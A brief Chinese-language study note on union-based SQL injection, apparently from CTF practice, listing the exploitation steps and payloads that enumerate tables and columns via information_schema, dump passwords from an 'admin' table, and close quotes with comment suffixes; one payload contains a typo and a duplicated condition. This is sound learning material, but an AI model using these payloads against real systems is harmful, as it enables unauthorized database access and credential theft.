SQL注入的核心:将用户的输入拼接到sql语句中,并被当做代码执行
注入基本流程:
判断是否存在注入
判断字段数
判断显错位置
判断库名
判断表名
判断列名
寻找具体数据
-
SQL注入:
- union =>联合查询:将两条SQL语句的结果一齐输出(满足条件:相同字段数)
- order by =>排序(得到原有查询语句输出结果有几个字段)
- database() =>数据库 (显示当前数据库的库名)
- information_schema
information_schema库里面存放着tables表,里面存放着数据库和数据表之间的关联 - 库.表.字段 =>选中X库中的X表的X字段
- table_name from information_schema.tables where table_schema=database() =>获取表名
- union select 1,column_name from information_schema.columns where table_name=’admin’ and table_schema=database() =>获取字段名
- limit => 分页
limit n,m =>从第n+1条数据开始取m条数据 - 查找数据 union select 1,password from admin
union select 1,table_name from information_schema.tables where table_schema='xxx'
查询表名
列名同理
union slect 1,column_name from information_schema.columns where table_name='xxx' and table_name='xxx'
最后union select 1,2,flag from error_flag
这种情况需要使用单引号闭合
' union select 1,2,database() -- qwe
其他同理
' -- qwe
" -- qwe
) -- qwe
") -- qwe
……